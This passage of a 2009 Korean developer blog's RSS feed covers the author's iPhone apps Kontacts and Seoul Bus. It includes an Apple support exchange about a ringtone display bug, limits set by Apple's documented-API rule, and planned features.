이에 저는 오랜 연구(?)결과, 다른 공식 API문제들과는 다르게 이는 애플에서 수정해주지 않는 이상, 공식 API로는 구현이 완전히 불가능하다고 판단내리고, 수정을 요청하는 이메일을 Apple Developer Technical Support 쪽으로 보냈습니다.&lt;br /&gt;
&lt;blockquote&gt;한국시간 12월 3일 오후 10시 37분 발송.&lt;br /&gt;
Dear iPhone Developer Program.&lt;br /&gt;
&lt;br /&gt;
Hello, I am developer of App named Kontacts - 한글 연락처.&lt;br /&gt;
&lt;br /&gt;
When
I try to see person&#039;s information with ABPersonViewController who&#039;s
ring tone is set to custom, ring tone property of his property
displaying from ABPersonViewController is Marimba, not the custom but
included as default, WHILE it is displaying as custom correct in the
default Contacts App from iPhone.&lt;br /&gt;
(custom ring tone means not the default ring tone, user-created m4r ring tones that sync with iTunes)&lt;br /&gt;
&lt;br /&gt;
I
have attached a screen shots including both ABPersonViewController and
default Contacts. I cannot see ANY OF THE CUSTOM RINGTONES with
ABPersonViewController.&lt;br /&gt;
&lt;br /&gt;
I think Apple should just disable ringtone property of
ABPersonViewController or make it unvisible. Users of my App are
confused of this.&lt;br /&gt;
&lt;br /&gt;
Please help me.&lt;br /&gt;
&lt;br /&gt;
Sincerely,&lt;br /&gt;
Juwan Yoo&lt;/blockquote&gt;그리고 오늘 답변을 받았습니다.&lt;br /&gt;
&lt;blockquote&gt; 한국시간 12월 9일 오전 8시 7분 발송.&lt;br /&gt;
Hello Juwan,&lt;br /&gt;
Thank you for contacting Apple Worldwide Developer Technical Support. I
am responding to let you know that I have received your request for
technical assistance.&lt;br /&gt;
&lt;div class=&quot;im&quot;&gt;
&lt;br /&gt;
&amp;lt;When I try to see person&#039;s information with ABPersonViewController
who&#039;s ring tone is set to custom, ring tone property of his property
displaying&lt;br /&gt;
from ABPersonViewController is Marimba, not the custom but included as
default, WHILE it is displaying as custom correct in the default
Contacts App from iPhone.&amp;gt;&lt;br /&gt;
&lt;/div&gt;
This sounds like a bug. You can file a bug report at &amp;lt;&lt;a href=&quot;http://bugreporter.apple.com/&quot; target=&quot;_blank&quot;&gt;http://bugreporter.apple.com&lt;/a&gt;&amp;gt;&lt;div id=&quot;:6a&quot; class=&quot;ii gt&quot;&gt;
&lt;wbr&gt;.&lt;br /&gt;
&lt;div class=&quot;im&quot;&gt;
&lt;br /&gt;
&amp;lt;I think Apple should just disable ringtone property of
ABPersonViewController or make it unvisible. Users of my App are
confused of this.&amp;gt;&lt;br /&gt;
&lt;/div&gt;
The ABPersonViewController object does not have a ringtone
property. You should file an enhancement request if you want that
feature &amp;nbsp;at &amp;lt;&lt;a href=&quot;http://bugreporter.apple.com/&quot; target=&quot;_blank&quot;&gt;http://bugreporter.apple.com&lt;/a&gt;&amp;gt;&lt;wbr&gt;.&lt;br /&gt;
&lt;br /&gt;
Note: We can file the bug report and enhancement request on your behalf. Let me know if you want us to do so.&lt;br /&gt;
&lt;br /&gt;
Regards,&lt;br /&gt;
&lt;br /&gt;
Linda Ouandji&lt;br /&gt;
Apple DTS Engineer&lt;/div&gt;
&lt;/blockquote&gt;&lt;div id=&quot;:6a&quot; class=&quot;ii gt&quot;&gt;
&lt;/div&gt;
답변은 http://bugreporter.apple.com 으로 요청을 하라는 식의 내용이었으며,&lt;br /&gt;
아래의 Note에서는 답변을 주신 Linda라는 엔지니어분께서 자신이 직접 요청해줄 수 있다. 해줄까? 라고 물어보는 내용이었습니다.&lt;br /&gt;
&lt;br /&gt;
이에 저는 당연히 대신 요청해주십시오. 감사합니다. 라는 식의 답신을 보냈죠 바로.ㅎ&lt;br /&gt;
&lt;br /&gt;
사용자화 벨소리 설정에 대한 진전사항이 있다면 역시 포스팅으로 알려드리겠습니다.&lt;br /&gt;
&lt;br /&gt;
감사합니다 ~&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-14-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-14-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-14-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>[App] Kontacts</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/14</guid>
			<comments>http://blog.vhain.com/14#entry14comment</comments>
			<pubDate>Wed, 09 Dec 2009 11:39:39 +0900</pubDate>
		</item>
		<item>
			<title>Kontacts에 말씀해주신 많은 기능 추가 건의들에 대하여</title>
			<link>http://blog.vhain.com/13</link>
			<description>안녕하세요 ?&lt;br /&gt;
&lt;br /&gt;많은 분들께서 Kontacts 에 기능추가 건의를 해주셨습니다.&lt;br /&gt;
이들 중에는 제가 수정 가능한것도 있으며, 그렇지 않은것들도 있습니다.&lt;br /&gt;
이에 대하여 이야기해보는 장소를 마련해보기 위해 이런 포스팅을 하게 되었습니다.&lt;br /&gt;
&lt;br /&gt;&lt;blockquote&gt;3.3.1 Applications may only use Documented APIs in the manner prescribed by Apple and must not use or call any private APIs.&lt;/blockquote&gt;
위는 iPhone Developer Program License Agreement에 명시되어있는 조항이며,&lt;br /&gt;
이는 Apple에서 사용을 허가 한 API만 이용해야한다. 그렇지 않을 경우 App Store 등록에서 제외된다. 는 식의 내용입니다.&lt;br /&gt;
&lt;br /&gt;
건의사항들에 대한 글에서 저런 내용의 조항을 언급하는 이유는 무엇일까요?&lt;br /&gt;
&lt;br /&gt;네, 맞습니다. 많은 기능에 대한 건의사항들이 위의 3.3.1 조항에서 명시하는 Documented APIs, 즉 Apple에서 사용 허가 한 API들로만으론 구현이 불가능한것들이 많기 때문입니다.&lt;br /&gt;
&lt;br /&gt;스팸 전화, 문자 차단 기능, 다중 수신자 문자 전송 기능, 사용자 화 벨소리 선택 등등이 Apple에서 허가 한 API들로는 구성이 불가능한 기능들입니다.&lt;br /&gt;
&lt;br /&gt;현재 Kontacts에서 사람을 삭제하기 위해서는 기본 어플과 같은 방법으로 편집 메뉴에 들어가셔서 연락처 삭제 버튼을 누르시려 한다면, 해당 버튼이 없는것을 확인하실 수 있습니다.&lt;br /&gt;
&lt;br /&gt;이 연락처 삭제 버튼을 표시하는것 마저 Apple에서는 사용을 허가하지 않고 있습니다.&lt;br /&gt;
&lt;br /&gt;이에 현재는 대체 수단인 목록에서 swipe 동작을 통해 삭제가 가능하도록 해 놓았습니다.&lt;br /&gt;
&lt;br /&gt;이와 같이 말씀을 해 주셔도 저로서는 어쩔 수 없는 것들이 많습니다.&lt;br /&gt;
&lt;br /&gt;그래도, 말씀하신 기능들을 Apple에서 허가 한 API들로만으로 구현이 가능하도록 하기 위해 최선의 노력을 다 하고 있습니다.&lt;br /&gt;
&lt;br /&gt;그러니.. 이런것들은 조금 알아주셨으면 한답니다.&lt;br /&gt;
&lt;br /&gt;감사합니다.&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-13-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-13-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-13-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>[App] Kontacts</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/13</guid>
			<comments>http://blog.vhain.com/13#entry13comment</comments>
			<pubDate>Wed, 09 Dec 2009 11:29:53 +0900</pubDate>
		</item>
		<item>
			<title>Kontacts 2.0 (a.k.a 1.2) 버전을 향하여</title>
			<link>http://blog.vhain.com/10</link>
			<description>1.1 버전이 드디어 &quot;검증 시험 대기 중&quot; 상태에서 &quot;검증 중&quot; 상태로 넘어갔습니다.ㅎ&lt;div&gt;
기말고사의 끝도 어느덧 1주일밖에 남지 않아, 2.0버전을 향하여 개발하여야 할 것들을 정리해보도록 하였습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;기능 업데이트&lt;/b&gt; (정보 노출 방지와 기대를 위하여 초성으로만..ㅎ)&lt;/div&gt;
&lt;div&gt;
- ㄱㄹ(ㅂㅈ) 기능&lt;/div&gt;
&lt;div&gt;
- ㅃㄹ ㅈㅎㄱㄱ 기능 (ㄷㅊㅂㅎ 가능)&lt;/div&gt;
&lt;div&gt;
- ㅊㄱㄱㅅ 기능&lt;/div&gt;
&lt;div&gt;
- ㅊㅈㅇ2 ㅋㅍㄷ 탑재&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;알려진 이슈들&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
- 현재는 목록에 &quot;성 이름&quot; 순서로 출력이 되나, 순서 바꿀 수 있도록&lt;/div&gt;
&lt;div&gt;
- 목록에서 바로 전화, 메시지 보내기 가능&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
제가 빠트린것이나 추가해야될 점은 댓글로 바랍니다 ~&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-10-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-10-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-10-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>[App] Kontacts</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/10</guid>
			<comments>http://blog.vhain.com/10#entry10comment</comments>
			<pubDate>Sun, 06 Dec 2009 13:42:15 +0900</pubDate>
		</item>
		<item>
			<title>Seoul Bus는 영문으로도 실행이 가능합니다.</title>
			<link>http://blog.vhain.com/9</link>
			<description>Seoul Bus 어플은 영어로도 실행이 가능합니다. (아직 정류소 이름은 영문지원이 되지 않습니다.)&lt;br /&gt;
홈 스크린 &amp;gt; 설정 &amp;gt; 일반 &amp;gt; 다국어 &amp;gt; 언어&amp;nbsp; 부분을 변경하시면 실행이 가능합니다. (기기 전체의 언어설정이 변경됩니다.)&lt;br /&gt;
&lt;br /&gt;
주변의 외국인들께 소개해주세요 ~ ㅎ&lt;br /&gt;
&lt;br /&gt;
외국인 관광객분들이나 재한 외국인분들께 작게나마 도움이 되었으면 하는 바램입니다..ㅎ&lt;br /&gt;
(덤으로 외국인 관광객 유치까지 ~?)&lt;br /&gt;
&lt;br /&gt;
감사합니다 ~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seoul Bus is also availble in English. (except station name data yet)&lt;br /&gt;
&lt;br /&gt;
Thanks ~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile1.uf.tistory.com/original/18239D204B19DB21B27A1D&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile1.uf.tistory.com/image/18239D204B19DB21B27A1D&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;seoulbus_english.png&quot; height=&quot;963&quot; width=&quot;643&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-9-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-9-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-9-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>[App] Seoul Bus</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/9</guid>
			<comments>http://blog.vhain.com/9#entry9comment</comments>
			<pubDate>Sat, 05 Dec 2009 13:02:08 +0900</pubDate>
		</item>
	</channel>
</rss>

